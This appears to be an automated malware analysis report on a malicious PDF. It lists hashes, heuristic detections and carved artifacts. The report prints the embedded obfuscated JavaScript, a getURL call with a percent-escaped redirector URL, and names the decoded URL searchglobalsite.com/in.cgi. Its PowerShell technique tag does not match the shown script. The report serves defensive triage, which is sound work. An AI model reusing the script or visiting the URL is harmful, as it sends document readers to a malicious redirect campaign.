PDF malware analysis — malicious · d86d4c59b766acb7

MALICIOUS

PDF

43.1 KB Created: 2011-01-14 00:21:12 +02:00 Authoring application: http://google.wiki.usfca.edu/ (via mPDF 5.0) First seen: 2012-09-24

MD5: 3bac07de47a1d14a53e2404e18a0fe16 SHA-1: 1be36fe5bf16ebb0ab5e83343c0cf9dd24e0f526 SHA-256: d86d4c59b766acb7a91d5e917c98ffa6dc085ce185fca56e8d012727e387bb6c

168 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The extracted JavaScript file, 'javascript_obj0029_000.js', exhibits obfuscation, suggesting malicious intent. This script is likely responsible for downloading and executing a secondary payload, a common technique for initial access or further infection. The document body is unreadable, so the rationale is based solely on the script's presence and obfuscation.

Machine Learning

Nyx PDF Classifier malicious score 0.9984

Heuristics 6

JavaScript action low 3 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Search-themed obfuscated getURL redirector campaign critical PDF_JS_SEARCH_REDIRECTOR_GETURL_CAMPAIGN

PDF document-level JavaScript automatically opens a known search-themed redirector campaign URL from a percent-escaped getURL() target. This is malicious redirect-carrier behavior, not evidence of a PDF parser CVE.
Obfuscated document JavaScript getURL redirector high PDF_JS_OBFUSCATED_GETURL_REDIRECTOR

PDF document-level JavaScript automatically calls getURL() on an HTTP(S) destination hidden behind percent escapes. The decoded path is a redirector-style endpoint such as /in.cgi or /go.php. This is malicious routing behavior rather than a PDF parser CVE.
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://searchglobalsite.com/in.cgi?17 Referenced by PDF JavaScript
- http://dejavu.sourceforge.netIn PDF document text
- http://dejavu.sourceforge.net/wiki/index.php/LicenseIn PDF document text

Extracted artifacts 4

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0029_000.js`	pdf-javascript-stream	PDF /JS object 29 at offset 0xA535	136 bytes
SHA-256: `a2620a0be21a26956e8296a3c8163c8c260cb6a920586f15a19c6e170ac30940`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 1 long hex-escaped blob(s).
Preview script First 1,000 lines of the extracted script this.getURL(unescape('%68%74%74%70%3a%2f%2f%73%65%61%72%63%68%67%6c%6f%62%61%6c%73%69%74%65%2e%63%6f%6d%2f%69%6e%2e%63%67%69%3f%31%37'))
`stream_003_off00001c98.bin`	decompressed-pdf-stream	PDF FlateDecoded stream at offset 0x1C98	18008 bytes
SHA-256: `a7d803d685e1602b286f08003576b6e0b38ce8735b7b52ceeb6e41147b172831`
`font_01_sfnt_off00004b4c.bin`	pdf-font-stream	PDF embedded font (sfnt) at offset 0x4B4C	17892 bytes
SHA-256: `a8ed3909966b10c026f46212f55dce68c94667ce1ac039797d3ebfa1d644dacf`
`font_02_sfnt_off0000798c.bin`	pdf-font-stream	PDF embedded font (sfnt) at offset 0x798C	18720 bytes
SHA-256: `4ee4e439b16220e78b319060a3d86ba95cd4b8614522dd4fa1d4df274793c516`

Open this report in the interactive analyzer, or submit your own file for analysis.